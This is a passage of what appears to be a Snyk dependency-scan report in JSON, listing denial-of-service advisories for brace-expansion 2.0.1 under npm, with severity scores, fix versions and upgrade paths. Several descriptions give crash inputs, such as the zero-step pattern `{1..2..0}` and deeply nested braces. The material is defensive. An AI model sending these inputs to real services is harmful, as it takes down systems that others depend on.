"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
